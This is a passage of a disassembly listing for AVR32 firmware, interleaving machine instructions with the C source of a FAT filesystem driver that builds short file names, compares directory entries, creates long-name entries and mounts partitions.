cc cd mov r10,52429 +800058c8: ea 1a cc cc orh r10,0xcccc +800058cc: ee 0a 06 42 mulu.d r2,r7,r10 +800058d0: e6 09 16 03 lsr r9,r3,0x3 +800058d4: f2 09 00 29 add r9,r9,r9<<0x2 +800058d8: ee 09 01 19 sub r9,r7,r9<<0x1 +800058dc: 2d 09 sub r9,-48 +800058de: 5c 59 castu.b r9 +800058e0: 50 79 stdsp sp[0x1c],r9 + u8_step++; // go to next step + } + if( 4 == u8_step ) + { // step 3 = add unit 10 of number + character = '0'+((nb%100)/10); +800058e2: e0 63 85 1f mov r3,34079 +800058e6: ea 13 51 eb orh r3,0x51eb +800058ea: ee 03 06 42 mulu.d r2,r7,r3 +800058ee: e6 09 16 05 lsr r9,r3,0x5 +800058f2: f2 0b 10 64 mul r11,r9,100 +800058f6: ee 0b 01 0b sub r11,r7,r11 +800058fa: 5c 5b castu.b r11 +800058fc: f6 0a 06 4a mulu.d r10,r11,r10 +80005900: f6 0a 16 03 lsr r10,r11,0x3 +80005904: 2d 0a sub r10,-48 +80005906: 5c 5a castu.b r10 +80005908: 50 6a stdsp sp[0x18],r10 + u8_step++; // go to next step + } + if( 3 == u8_step ) + { // step 2 = add unit 100 of number + character = '0'+(nb/100); +8000590a: 2d 09 sub r9,-48 +8000590c: 5c 59 castu.b r9 +8000590e: 50 59 stdsp sp[0x14],r9 +80005910: 30 01 mov r1,0 +80005912: 30 17 mov r7,1 +80005914: 02 95 mov r5,r1 + character = ((FS_STR_UNICODE)sz_name)[0]; + }else{ + character = sz_name[0]; + } + + if( 1 == u8_step ) +80005916: 30 13 mov r3,1 + { // step 1 = translate the name + if( ((FS_SIZE_SFNAME_WITHOUT_EXT-(1+nb_digit)) == u8_i) // name field is full (-2 for "~1") +80005918: f0 09 11 ff rsub r9,r8,-1 +8000591c: 2f 89 sub r9,-8 +8000591e: 50 39 stdsp sp[0xc],r9 +80005920: 32 e0 mov r0,46 + { + u8_step++; // go to next step + continue; + } + } + if( 8 == u8_step ) +80005922: 30 82 mov r2,8 + u8_step++; // go to next step + } + if( 2 == u8_step ) + { // step 2 = add character '~' + character = '~'; + u8_step+=(4-nb_digit); // go to next step +80005924: f0 08 11 06 rsub r8,r8,6 +80005928: 5c 58 castu.b r8 +8000592a: 50 48 stdsp sp[0x10],r8 +8000592c: c0 28 rjmp 80005930 + character = '0'+((nb%100)/10); + u8_step++; // go to next step + } + if( 3 == u8_step ) + { // step 2 = add unit 100 of number + character = '0'+(nb/100); +8000592e: 30 77 mov r7,7 + { + if( Is_unicode ) + { + character = ((FS_STR_UNICODE)sz_name)[0]; + }else{ + character = sz_name[0]; +80005930: 09 86 ld.ub r6,r4[0x0] + } + + if( 1 == u8_step ) +80005932: e6 07 18 00 cp.b r7,r3 +80005936: c1 41 brne 8000595e + { // step 1 = translate the name + if( ((FS_SIZE_SFNAME_WITHOUT_EXT-(1+nb_digit)) == u8_i) // name field is full (-2 for "~1") +80005938: 40 38 lddsp r8,sp[0xc] +8000593a: 0a 38 cp.w r8,r5 +8000593c: 5f 09 sreq r9 +8000593e: e0 06 18 00 cp.b r6,r0 +80005942: 5f 08 sreq r8 +80005944: f3 e8 10 08 or r8,r9,r8 +80005948: 30 0a mov r10,0 +8000594a: f4 08 18 00 cp.b r8,r10 +8000594e: c0 51 brne 80005958 + || ('.' == character) // is the end of name without extension + || fat_check_eof_name(character) ) // is the end of name +80005950: 0c 9c mov r12,r6 +80005952: f0 1f 00 3a mcall 80005a38 + character = sz_name[0]; + } + + if( 1 == u8_step ) + { // step 1 = translate the name + if( ((FS_SIZE_SFNAME_WITHOUT_EXT-(1+nb_digit)) == u8_i) // name field is full (-2 for "~1") +80005956: c1 10 breq 80005978 + || ('.' == character) // is the end of name without extension + || fat_check_eof_name(character) ) // is the end of name + { + u8_step++; // go to next step +80005958: 2f f7 sub r7,-1 +8000595a: 5c 57 castu.b r7 + continue; +8000595c: ce ab rjmp 80005930 + } + } + if( 8 == u8_step ) +8000595e: e4 07 18 00 cp.b r7,r2 +80005962: c1 21 brne 80005986 + { // step 8 = translate the extension + if( (u8_i == FS_SIZE_SFNAME) // name field is full +80005964: 30 b8 mov r8,11 +80005966: f0 05 18 00 cp.b r5,r8 +8000596a: c0 50 breq 80005974 + || fat_check_eof_name(character) ) // is the end of name +8000596c: 0c 9c mov r12,r6 +8000596e: f0 1f 00 33 mcall 80005a38 + continue; + } + } + if( 8 == u8_step ) + { // step 8 = translate the extension + if( (u8_i == FS_SIZE_SFNAME) // name field is full +80005972: c0 30 breq 80005978 +80005974: 30 97 mov r7,9 + || fat_check_eof_name(character) ) // is the end of name + { + u8_step++; // go to next step + continue; +80005976: cd db rjmp 80005930 + } + } + if( (1==u8_step) || (8==u8_step) ) + { // steps to translate name + character = fat_translate_char_shortname( character ); +80005978: 0c 9c mov r12,r6 +8000597a: f0 1f 00 31 mcall 80005a3c +8000597e: 18 96 mov r6,r12 + sz_name += (Is_unicode? 2 : 1 ); +80005980: 2f f4 sub r4,-1 + if( 0 == character ) +80005982: 58 0c cp.w r12,0 +80005984: cd 60 breq 80005930 + { + continue; // Bad character, ignore this one + } + } + if( 7 == u8_step ) +80005986: 30 78 mov r8,7 +80005988: f0 07 18 00 cp.b r7,r8 +8000598c: c0 c1 brne 800059a4 + { // step 5 = find character '.' + if( ('.' == character) // is the end of name without extension +8000598e: e0 06 18 00 cp.b r6,r0 +80005992: c0 50 breq 8000599c + || fat_check_eof_name(character) ) // is the end of name +80005994: 0c 9c mov r12,r6 +80005996: f0 1f 00 29 mcall 80005a38 + continue; // Bad character, ignore this one + } + } + if( 7 == u8_step ) + { // step 5 = find character '.' + if( ('.' == character) // is the end of name without extension +8000599a: c0 30 breq 800059a0 +8000599c: 30 87 mov r7,8 +8000599e: cc 9b rjmp 80005930 + || fat_check_eof_name(character) ) // is the end of name + { + u8_step++; // go to next step + } else { + sz_name += (Is_unicode? 2 : 1 ); +800059a0: 2f f4 sub r4,-1 +800059a2: cc 7b rjmp 80005930 + } + continue; // this step don't add a character in the short name + } + if( 6 == u8_step ) +800059a4: 30 68 mov r8,6 +800059a6: f0 07 18 00 cp.b r7,r8 +800059aa: c0 61 brne 800059b6 + { // step 4 = add padding + if( u8_i == FS_SIZE_SFNAME_WITHOUT_EXT ) // end of field name without extension +800059ac: e4 05 18 00 cp.b r5,r2 +800059b0: cb f0 breq 8000592e +800059b2: 32 06 mov r6,32 +800059b4: c1 28 rjmp 800059d8 + u8_step++; // go to next step + continue; + } + character = ' '; + } + if( 9 == u8_step ) +800059b6: 30 98 mov r8,9 +800059b8: f0 07 18 00 cp.b r7,r8 +800059bc: c0 71 brne 800059ca + { // step 7 = add padding in extension name + if( u8_i == FS_SIZE_SFNAME ) // end of field name with extension +800059be: 30 b9 mov r9,11 +800059c0: f2 05 18 00 cp.b r5,r9 +800059c4: c3 20 breq 80005a28 +800059c6: 32 06 mov r6,32 +800059c8: c0 f8 rjmp 800059e6 + { + break; // end of loop while(1) + } + character = ' '; + } + if( 5 == u8_step ) +800059ca: 30 58 mov r8,5 +800059cc: f0 07 18 00 cp.b r7,r8 +800059d0: c0 41 brne 800059d8 +800059d2: 40 76 lddsp r6,sp[0x1c] +800059d4: 30 67 mov r7,6 +800059d6: c0 f8 rjmp 800059f4 + { // step 4 = add unit 1 of number + character = '0'+(nb%10); + u8_step++; // go to next step + } + if( 4 == u8_step ) +800059d8: 30 48 mov r8,4 +800059da: f0 07 18 00 cp.b r7,r8 +800059de: c0 41 brne 800059e6 +800059e0: 40 66 lddsp r6,sp[0x18] +800059e2: 30 57 mov r7,5 +800059e4: c0 f8 rjmp 80005a02 + { // step 3 = add unit 10 of number + character = '0'+((nb%100)/10); + u8_step++; // go to next step + } + if( 3 == u8_step ) +800059e6: 30 38 mov r8,3 +800059e8: f0 07 18 00 cp.b r7,r8 +800059ec: c0 41 brne 800059f4 +800059ee: 40 56 lddsp r6,sp[0x14] +800059f0: 30 47 mov r7,4 +800059f2: c0 88 rjmp 80005a02 + u8_step++; // go to next step + } + if( 2 == u8_step ) + { // step 2 = add character '~' + character = '~'; + u8_step+=(4-nb_digit); // go to next step +800059f4: 40 49 lddsp r9,sp[0x10] + if( 3 == u8_step ) + { // step 2 = add unit 100 of number + character = '0'+(nb/100); + u8_step++; // go to next step + } + if( 2 == u8_step ) +800059f6: 30 28 mov r8,2 +800059f8: f0 07 18 00 cp.b r7,r8 +800059fc: c0 31 brne 80005a02 + { // step 2 = add character '~' + character = '~'; + u8_step+=(4-nb_digit); // go to next step +800059fe: 12 97 mov r7,r9 +80005a00: 37 e6 mov r6,126 + } + + if( mode ) +80005a02: 40 09 lddsp r9,sp[0x0] +80005a04: 58 09 cp.w r9,0 +80005a06: c0 50 breq 80005a10 + { + // Record the short name in buffer + *short_name = character; +80005a08: 40 28 lddsp r8,sp[0x8] +80005a0a: 10 c6 st.b r8++,r6 +80005a0c: 50 28 stdsp sp[0x8],r8 +80005a0e: c0 48 rjmp 80005a16 + short_name++; + }else{ + // Record the character in short entry file + *ptr_entry = character; +80005a10: 40 1a lddsp r10,sp[0x4] +80005a12: 14 c6 st.b r10++,r6 +80005a14: 50 1a stdsp sp[0x4],r10 + ptr_entry++; + } + u8_i++; +80005a16: 2f f5 sub r5,-1 +80005a18: 5c 55 castu.b r5 + + // Compute the CRC of the short name + crc = (crc >> 1) + ((crc & 1) << 7); // rotate +80005a1a: e2 08 16 01 lsr r8,r1,0x1 +80005a1e: a7 71 lsl r1,0x7 +80005a20: 10 01 add r1,r8 + crc += character; // add next char +80005a22: 0c 01 add r1,r6 +80005a24: 5c 51 castu.b r1 +80005a26: c8 5b rjmp 80005930 + } // End of loop while + return crc; +} +80005a28: 02 9c mov r12,r1 +80005a2a: 2f 8d sub sp,-32 +80005a2c: d8 32 popm r0-r7,pc +80005a2e: 00 00 add r0,r0 +80005a30: 80 00 ld.sh r0,r0[0x0] +80005a32: 46 0c lddsp r12,sp[0x180] +80005a34: 80 00 ld.sh r0,r0[0x0] +80005a36: 42 64 lddsp r4,sp[0x98] +80005a38: 80 00 ld.sh r0,r0[0x0] +80005a3a: 42 3c lddsp r12,sp[0x8c] +80005a3c: 80 00 ld.sh r0,r0[0x0] +80005a3e: 51 60 stdsp sp[0x58],r0 + +80005a40 : +//! +//! @return true it is the same +//! @return false in case of error, see global value "fs_g_status" for more detail +//! +Bool fat_entry_shortname_compare( FS_STRING short_name ) +{ +80005a40: eb cd 40 80 pushm r7,lr +80005a44: 18 97 mov r7,r12 + PTR_CACHE ptr_entry; + + ptr_entry = fat_get_ptr_entry(); +80005a46: f0 1f 00 12 mcall 80005a8c + if( FS_ENTRY_END == *ptr_entry ) // end of directory +80005a4a: 19 88 ld.ub r8,r12[0x0] +80005a4c: 58 08 cp.w r8,0 +80005a4e: c0 61 brne 80005a5a + { + fs_g_status = FS_ERR_ENTRY_EMPTY; +80005a50: 30 a9 mov r9,10 +80005a52: 49 08 lddpc r8,80005a90 +80005a54: b0 89 st.b r8[0x0],r9 +80005a56: e3 cf 80 80 ldm sp++,r7,pc,r12=0 + return false; + } + if( (FS_ENTRY_DEL == *ptr_entry ) // deleted entry +80005a5a: 3e 59 mov r9,-27 +80005a5c: f2 08 18 00 cp.b r8,r9 +80005a60: c0 70 breq 80005a6e + || (FS_ATTR_LFN_ENTRY == ptr_entry[11]) ) // long file name +80005a62: f9 39 00 0b ld.ub r9,r12[11] +80005a66: 30 f8 mov r8,15 +80005a68: f0 09 18 00 cp.b r9,r8 +80005a6c: c0 61 brne 80005a78 + { + fs_g_status = FS_ERR_ENTRY_BAD; +80005a6e: 30 b9 mov r9,11 +80005a70: 48 88 lddpc r8,80005a90 +80005a72: b0 89 st.b r8[0x0],r9 +80005a74: e3 cf 80 80 ldm sp++,r7,pc,r12=0 + return false; + } + fs_g_status = FS_ERR_ENTRY_BAD; // by default this entry is different then bad +80005a78: 30 b9 mov r9,11 +80005a7a: 48 68 lddpc r8,80005a90 +80005a7c: b0 89 st.b r8[0x0],r9 + return (0==memcmp_ram2ram(ptr_entry , short_name , 8+3 )); +80005a7e: 30 ba mov r10,11 +80005a80: 0e 9b mov r11,r7 +80005a82: f0 1f 00 05 mcall 80005a94 +80005a86: 5f 0c sreq r12 +} +80005a88: e3 cd 80 80 ldm sp++,r7,pc +80005a8c: 80 00 ld.sh r0,r0[0x0] +80005a8e: 42 64 lddsp r4,sp[0x98] +80005a90: 00 00 add r0,r0 +80005a92: 06 d4 st.w --r3,r4 +80005a94: 80 00 ld.sh r0,r0[0x0] +80005a96: 79 d4 ld.w r4,r12[0x74] + +80005a98 : +//! +//! @return the number used to create the short name +//! @return 0 in case of error +//! +uint8_t fat_find_short_entry_name( FS_STRING sz_name ) +{ +80005a98: d4 31 pushm r0-r7,lr +80005a9a: 20 3d sub sp,12 +80005a9c: 18 93 mov r3,r12 +80005a9e: 30 07 mov r7,0 + { + if( 0xFF == u8_nb ) + return 0; // All short name exist + + u8_nb++; // Try next short name + fat_create_short_entry_name( sz_name , short_name , u8_nb , true ); // Compute the short name +80005aa0: 1a 96 mov r6,sp +80005aa2: 30 12 mov r2,1 + fs_g_nav_fast.u16_entry_pos_sel_file = 0; // Go to beginning of directory +80005aa4: 49 65 lddpc r5,80005afc +80005aa6: 30 04 mov r4,0 + return u8_nb; // short name don't exist, then good number + return 0; // System or Disk Error + } + if( fat_entry_shortname_compare( short_name ) ) // Check entry + break; // Short name exist + if( FS_ERR_ENTRY_EMPTY == fs_g_status ) +80005aa8: 49 61 lddpc r1,80005b00 +80005aaa: 30 a0 mov r0,10 +80005aac: c0 58 rjmp 80005ab6 + uint8_t u8_nb; + + u8_nb = 0; + while(1) + { + if( 0xFF == u8_nb ) +80005aae: 3f f8 mov r8,-1 +80005ab0: f0 07 18 00 cp.b r7,r8 +80005ab4: c2 00 breq 80005af4 + return 0; // All short name exist + + u8_nb++; // Try next short name +80005ab6: 2f f7 sub r7,-1 +80005ab8: 5c 57 castu.b r7 + fat_create_short_entry_name( sz_name , short_name , u8_nb , true ); // Compute the short name +80005aba: 04 99 mov r9,r2 +80005abc: 0e 9a mov r10,r7 +80005abe: 1a 9b mov r11,sp +80005ac0: 06 9c mov r12,r3 +80005ac2: f0 1f 00 11 mcall 80005b04 + fs_g_nav_fast.u16_entry_pos_sel_file = 0; // Go to beginning of directory +80005ac6: aa 14 st.h r5[0x2],r4 + // Scan directory to find a short entry + while(1) + { + if ( !fat_read_dir()) // Read directory +80005ac8: f0 1f 00 10 mcall 80005b08 +80005acc: c0 81 brne 80005adc + { + if( FS_ERR_OUT_LIST == fs_g_status ) +80005ace: 48 d8 lddpc r8,80005b00 +80005ad0: 11 89 ld.ub r9,r8[0x0] +80005ad2: 31 a8 mov r8,26 +80005ad4: f0 09 18 00 cp.b r9,r8 +80005ad8: c0 e1 brne 80005af4 +80005ada: c0 e8 rjmp 80005af6 + return u8_nb; // short name don't exist, then good number + return 0; // System or Disk Error + } + if( fat_entry_shortname_compare( short_name ) ) // Check entry +80005adc: 1a 9c mov r12,sp +80005ade: f0 1f 00 0c mcall 80005b0c +80005ae2: ce 61 brne 80005aae + break; // Short name exist + if( FS_ERR_ENTRY_EMPTY == fs_g_status ) +80005ae4: 03 88 ld.ub r8,r1[0x0] +80005ae6: e0 08 18 00 cp.b r8,r0 +80005aea: c0 60 breq 80005af6 + return u8_nb; // Short name don't exist, then good number + fs_g_nav_fast.u16_entry_pos_sel_file++; // Go to next entry +80005aec: 8a 18 ld.sh r8,r5[0x2] +80005aee: 2f f8 sub r8,-1 +80005af0: aa 18 st.h r5[0x2],r8 + } +80005af2: ce bb rjmp 80005ac8 +80005af4: 30 07 mov r7,0 + } +} +80005af6: 0e 9c mov r12,r7 +80005af8: 2f dd sub sp,-12 +80005afa: d8 32 popm r0-r7,pc +80005afc: 00 00 add r0,r0 +80005afe: 06 d0 st.w --r3,r0 +80005b00: 00 00 add r0,r0 +80005b02: 06 d4 st.w --r3,r4 +80005b04: 80 00 ld.sh r0,r0[0x0] +80005b06: 58 88 cp.w r8,8 +80005b08: 80 00 ld.sh r0,r0[0x0] +80005b0a: 4e 5c lddpc r12,80005c9c +80005b0c: 80 00 ld.sh r0,r0[0x0] +80005b0e: 5a 40 cp.w r0,-28 + +80005b10 : +//! b_unicode is a global flag to select UNICODE or ASCII +//! The name must be terminated by NULL and it can't have two dot characters. +//! @endverbatim +//! +Bool fat_create_entry_file_name( FS_STRING sz_name ) +{ +80005b10: eb cd 40 fc pushm r2-r7,lr +80005b14: 18 96 mov r6,r12 + uint8_t u8_i, u8_nb; + uint8_t u8_crc, u8_nb_entry; + + // Compute the number of entry for this name + u8_nb_entry = fat_check_name( sz_name ); +80005b16: f0 1f 00 21 mcall 80005b98 +80005b1a: 18 95 mov r5,r12 + if( 0 == u8_nb_entry ) +80005b1c: c3 b0 breq 80005b92 + return false; + + // Search a unik short entry + u8_nb = fat_find_short_entry_name( sz_name ); +80005b1e: 0c 9c mov r12,r6 +80005b20: f0 1f 00 1f mcall 80005b9c +80005b24: 18 97 mov r7,r12 + if( 0 == u8_nb ) +80005b26: c0 61 brne 80005b32 + { + fs_g_status = FS_ERR_FILE_EXIST; +80005b28: 32 a9 mov r9,42 +80005b2a: 49 e8 lddpc r8,80005ba0 +80005b2c: b0 89 st.b r8[0x0],r9 +80005b2e: e3 cf 80 fc ldm sp++,r2-r7,pc,r12=0 + return false; // All short name exist + } + + // Alloc a space for entrys + if( !fat_alloc_entry_free( u8_nb_entry )) +80005b32: 0a 9c mov r12,r5 +80005b34: f0 1f 00 1c mcall 80005ba4 +80005b38: c2 d0 breq 80005b92 + return false; + // Remark: here the pointer of entry is on the last free entry of new space allocated + + // Add short name entry + u8_crc = fat_create_short_entry_name( sz_name , 0 , u8_nb, false ); +80005b3a: 30 09 mov r9,0 +80005b3c: 0e 9a mov r10,r7 +80005b3e: 12 9b mov r11,r9 +80005b40: 0c 9c mov r12,r6 +80005b42: f0 1f 00 1a mcall 80005ba8 +80005b46: 18 92 mov r2,r12 + u8_nb_entry--; +80005b48: 20 15 sub r5,1 +80005b4a: 5c 55 castu.b r5 + + // For each long name entry + for( u8_i=1 ; u8_i<=u8_nb_entry ; u8_i++ ) +80005b4c: c1 c0 breq 80005b84 +80005b4e: 30 17 mov r7,1 + { + // Go to previous entry + fs_g_nav_fast.u16_entry_pos_sel_file--; +80005b50: 49 74 lddpc r4,80005bac + if( !fat_read_dir()) + return false; + // Write a long name entry + if( u8_i == u8_nb_entry ) + { + u8_i += FS_ENTRY_LFN_LAST; +80005b52: ea c3 ff c0 sub r3,r5,-64 +80005b56: 5c 53 castu.b r3 + + // For each long name entry + for( u8_i=1 ; u8_i<=u8_nb_entry ; u8_i++ ) + { + // Go to previous entry + fs_g_nav_fast.u16_entry_pos_sel_file--; +80005b58: 88 18 ld.sh r8,r4[0x2] +80005b5a: 20 18 sub r8,1 +80005b5c: a8 18 st.h r4[0x2],r8 + if( !fat_read_dir()) +80005b5e: f0 1f 00 15 mcall 80005bb0 +80005b62: c1 80 breq 80005b92 + return false; + // Write a long name entry + if( u8_i == u8_nb_entry ) + { + u8_i += FS_ENTRY_LFN_LAST; +80005b64: ea 07 18 00 cp.b r7,r5 +80005b68: e6 07 17 00 moveq r7,r3 + } + fat_create_long_name_entry( sz_name , u8_crc , u8_i ); +80005b6c: 0e 9a mov r10,r7 +80005b6e: 04 9b mov r11,r2 +80005b70: 0c 9c mov r12,r6 +80005b72: f0 1f 00 11 mcall 80005bb4 + // Add short name entry + u8_crc = fat_create_short_entry_name( sz_name , 0 , u8_nb, false ); + u8_nb_entry--; + + // For each long name entry + for( u8_i=1 ; u8_i<=u8_nb_entry ; u8_i++ ) +80005b76: 2f f7 sub r7,-1 +80005b78: 5c 57 castu.b r7 +80005b7a: ee 05 18 00 cp.b r5,r7 +80005b7e: c0 33 brcs 80005b84 + if( u8_i == u8_nb_entry ) + { + u8_i += FS_ENTRY_LFN_LAST; + } + fat_create_long_name_entry( sz_name , u8_crc , u8_i ); + sz_name += FS_SIZE_LFN_ENTRY*(Is_unicode? 2 : 1 ); +80005b80: 2f 36 sub r6,-13 +80005b82: ce bb rjmp 80005b58 + } + // Go back to the short name entry + fs_g_nav_fast.u16_entry_pos_sel_file += u8_nb_entry; +80005b84: 48 a8 lddpc r8,80005bac +80005b86: 90 19 ld.sh r9,r8[0x2] +80005b88: f2 05 00 05 add r5,r9,r5 +80005b8c: b0 15 st.h r8[0x2],r5 +80005b8e: e3 cf 90 fc ldm sp++,r2-r7,pc,r12=1 + return true; +80005b92: e3 cf 80 fc ldm sp++,r2-r7,pc,r12=0 +80005b96: 00 00 add r0,r0 +80005b98: 80 00 ld.sh r0,r0[0x0] +80005b9a: 58 14 cp.w r4,1 +80005b9c: 80 00 ld.sh r0,r0[0x0] +80005b9e: 5a 98 cp.w r8,-23 +80005ba0: 00 00 add r0,r0 +80005ba2: 06 d4 st.w --r3,r4 +80005ba4: 80 00 ld.sh r0,r0[0x0] +80005ba6: 57 64 stdsp sp[0x1d8],r4 +80005ba8: 80 00 ld.sh r0,r0[0x0] +80005baa: 58 88 cp.w r8,8 +80005bac: 00 00 add r0,r0 +80005bae: 06 d0 st.w --r3,r0 +80005bb0: 80 00 ld.sh r0,r0[0x0] +80005bb2: 4e 5c lddpc r12,80005d44 +80005bb4: 80 00 ld.sh r0,r0[0x0] +80005bb6: 53 44 stdsp sp[0xd0],r4 + +80005bb8 : +//! If the FS_MULTI_PARTITION option is disabled +//! then the mount routine selects the first partition supported by file system.
+//! @endverbatim +//! +Bool fat_mount( void ) +{ +80005bb8: d4 31 pushm r0-r7,lr +80005bba: 20 3d sub sp,12 + uint8_t u8_tmp; + uint16_t u16_tmp; + uint32_t u32_tmp; + + // Select the root directory + fs_g_nav.u32_cluster_sel_dir = 0; +80005bbc: 30 07 mov r7,0 +80005bbe: fe f8 02 d2 ld.w r8,pc[722] +80005bc2: 91 87 st.w r8[0x20],r7 + // No selected file + fat_clear_entry_info_and_ptr(); +80005bc4: f0 1f 00 b4 mcall 80005e94 + + fs_g_nav_fast.u8_type_fat = FS_TYPE_FAT_UNM; +80005bc8: fe f8 02 d0 ld.w r8,pc[720] +80005bcc: b0 87 st.b r8[0x0],r7 + fs_gu32_addrsector = 0; // Start read at the beginning of memory +80005bce: fe f8 02 ce ld.w r8,pc[718] +80005bd2: 91 07 st.w r8[0x0],r7 + + // Check if the drive is availabled + if( !fat_check_device() ) +80005bd4: f0 1f 00 b3 mcall 80005ea0 +80005bd8: e0 80 01 58 breq 80005e88 + // Read one sector + if( !fat_cache_read_sector( true )) + return false; + + // Check PBR/MBR signature + if ( (fs_g_sector[510] != FS_BR_SIGNATURE_LOW ) +80005bdc: fe f5 02 c8 ld.w r5,pc[712] + { + fs_g_status = FS_ERR_NO_FORMAT; + return false; + } + + if ( 0 == fs_gu32_addrsector ) +80005be0: ea c8 fe 42 sub r8,r5,-446 +80005be4: 50 08 stdsp sp[0x0],r8 + u16_tmp=0; // Init to "no valid partition found" +#endif + for( u8_tmp=0 ; u8_tmp!=4 ; u8_tmp++ ) + { + // The first sector must be a MBR, then check the partition entry in the MBR + if ( ((fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(u8_tmp)+0] == FS_PART_BOOTABLE )|| +80005be6: 38 04 mov r4,-128 +80005be8: 30 46 mov r6,4 + return false; + + while( 1 ) // Search a valid partition + { + // Read one sector + if( !fat_cache_read_sector( true )) +80005bea: 30 1c mov r12,1 +80005bec: f0 1f 00 af mcall 80005ea8 +80005bf0: e0 80 01 4c breq 80005e88 + return false; + + // Check PBR/MBR signature + if ( (fs_g_sector[510] != FS_BR_SIGNATURE_LOW ) +80005bf4: eb 39 01 fe ld.ub r9,r5[510] +80005bf8: 35 58 mov r8,85 +80005bfa: f0 09 18 00 cp.b r9,r8 +80005bfe: c0 d0 breq 80005c18 + && (fs_g_sector[511] != FS_BR_SIGNATURE_HIGH ) ) +80005c00: eb 39 01 ff ld.ub r9,r5[511] +80005c04: 3a a8 mov r8,-86 +80005c06: f0 09 18 00 cp.b r9,r8 +80005c0a: c0 70 breq 80005c18 + { + fs_g_status = FS_ERR_NO_FORMAT; +80005c0c: 30 29 mov r9,2 +80005c0e: fe f8 02 9e ld.w r8,pc[670] +80005c12: b0 89 st.b r8[0x0],r9 +80005c14: 30 0c mov r12,0 + return false; +80005c16: c3 a9 rjmp 80005e8a + } + + if ( 0 == fs_gu32_addrsector ) +80005c18: fe f8 02 84 ld.w r8,pc[644] +80005c1c: 70 08 ld.w r8,r8[0x0] +80005c1e: 58 08 cp.w r8,0 +80005c20: c5 21 brne 80005cc4 +80005c22: 40 08 lddsp r8,sp[0x0] +80005c24: 30 0a mov r10,0 + u16_tmp=0; // Init to "no valid partition found" +#endif + for( u8_tmp=0 ; u8_tmp!=4 ; u8_tmp++ ) + { + // The first sector must be a MBR, then check the partition entry in the MBR + if ( ((fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(u8_tmp)+0] == FS_PART_BOOTABLE )|| +80005c26: 30 1e mov lr,1 +80005c28: 30 63 mov r3,6 +80005c2a: 30 e2 mov r2,14 +80005c2c: 30 b1 mov r1,11 +80005c2e: 30 c0 mov r0,12 +80005c30: 11 89 ld.ub r9,r8[0x0] +80005c32: e8 09 18 00 cp.b r9,r4 +80005c36: 5f 0b sreq r11 +80005c38: ee 09 18 00 cp.b r9,r7 +80005c3c: 5f 09 sreq r9 +80005c3e: f7 e9 10 09 or r9,r11,r9 +80005c42: ee 09 18 00 cp.b r9,r7 +80005c46: c1 90 breq 80005c78 + (fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(u8_tmp)+0] == FS_PART_NO_BOOTABLE ) ) + && ((fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(u8_tmp)+4] == FS_PART_TYPE_FAT12 )|| +80005c48: 11 c9 ld.ub r9,r8[0x4] + u16_tmp=0; // Init to "no valid partition found" +#endif + for( u8_tmp=0 ; u8_tmp!=4 ; u8_tmp++ ) + { + // The first sector must be a MBR, then check the partition entry in the MBR + if ( ((fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(u8_tmp)+0] == FS_PART_BOOTABLE )|| +80005c4a: fc 09 18 00 cp.b r9,lr +80005c4e: 5f 0c sreq r12 +80005c50: ec 09 18 00 cp.b r9,r6 +80005c54: 5f 0b sreq r11 +80005c56: f9 eb 10 0b or r11,r12,r11 +80005c5a: ee 0b 18 00 cp.b r11,r7 +80005c5e: c1 41 brne 80005c86 +80005c60: e6 09 18 00 cp.b r9,r3 +80005c64: c1 10 breq 80005c86 +80005c66: e4 09 18 00 cp.b r9,r2 +80005c6a: c0 e0 breq 80005c86 +80005c6c: e2 09 18 00 cp.b r9,r1 +80005c70: c0 b0 breq 80005c86 +80005c72: e0 09 18 00 cp.b r9,r0 +80005c76: c0 80 breq 80005c86 + //** first sector then check a MBR structure + // Search the first partition supported +#if (FS_MULTI_PARTITION == ENABLED) + u16_tmp=0; // Init to "no valid partition found" +#endif + for( u8_tmp=0 ; u8_tmp!=4 ; u8_tmp++ ) +80005c78: 2f fa sub r10,-1 +80005c7a: 5c 5a castu.b r10 +80005c7c: 2f 08 sub r8,-16 +80005c7e: ec 0a 18 00 cp.b r10,r6 +80005c82: cd 71 brne 80005c30 +80005c84: c2 08 rjmp 80005cc4 +#else + break; +#endif + } + } + if( u8_tmp != 4 ) +80005c86: ec 0a 18 00 cp.b r10,r6 +80005c8a: c1 d0 breq 80005cc4 + { + // Partition found -> Get partition position (unit sector) at offset 8 + LSB0(fs_gu32_addrsector) = fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(u8_tmp)+8]; +80005c8c: fe f3 02 10 ld.w r3,pc[528] +80005c90: a5 6a lsl r10,0x4 +80005c92: f4 ca fe 42 sub r10,r10,-446 +80005c96: ea 0a 00 0a add r10,r5,r10 +80005c9a: f5 38 00 08 ld.ub r8,r10[8] +80005c9e: a6 b8 st.b r3[0x3],r8 + LSB1(fs_gu32_addrsector) = fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(u8_tmp)+9]; +80005ca0: f5 38 00 09 ld.ub r8,r10[9] +80005ca4: a6 a8 st.b r3[0x2],r8 + LSB2(fs_gu32_addrsector) = fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(u8_tmp)+10]; +80005ca6: f5 38 00 0a ld.ub r8,r10[10] +80005caa: a6 98 st.b r3[0x1],r8 + LSB3(fs_gu32_addrsector) = fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(u8_tmp)+11]; +80005cac: f5 38 00 0b ld.ub r8,r10[11] +80005cb0: a6 88 st.b r3[0x0],r8 + fs_gu32_addrsector *= mem_sector_size( fs_g_nav.u8_lun ); +80005cb2: 4f 88 lddpc r8,80005e90 +80005cb4: 11 8c ld.ub r12,r8[0x0] +80005cb6: f0 1f 00 7f mcall 80005eb0 +80005cba: 66 08 ld.w r8,r3[0x0] +80005cbc: f8 08 02 48 mul r8,r12,r8 +80005cc0: 87 08 st.w r3[0x0],r8 + break; // valid PBR found + } + // PBR not found + fs_g_status = FS_ERR_NO_PART; + return false; + } +80005cc2: c9 4b rjmp 80005bea + } +#endif + } + + //** Check a PBR structure + if ( (fs_g_sector[0] == 0xEB) && // PBR Byte 0 +80005cc4: 4f 88 lddpc r8,80005ea4 +80005cc6: 11 89 ld.ub r9,r8[0x0] +80005cc8: 3e b8 mov r8,-21 +80005cca: f0 09 18 00 cp.b r9,r8 +80005cce: c0 f1 brne 80005cec + (fs_g_sector[2] == 0x90) && // PBR Byte 2 +80005cd0: 4f 58 lddpc r8,80005ea4 +80005cd2: 11 a9 ld.ub r9,r8[0x2] +80005cd4: 39 08 mov 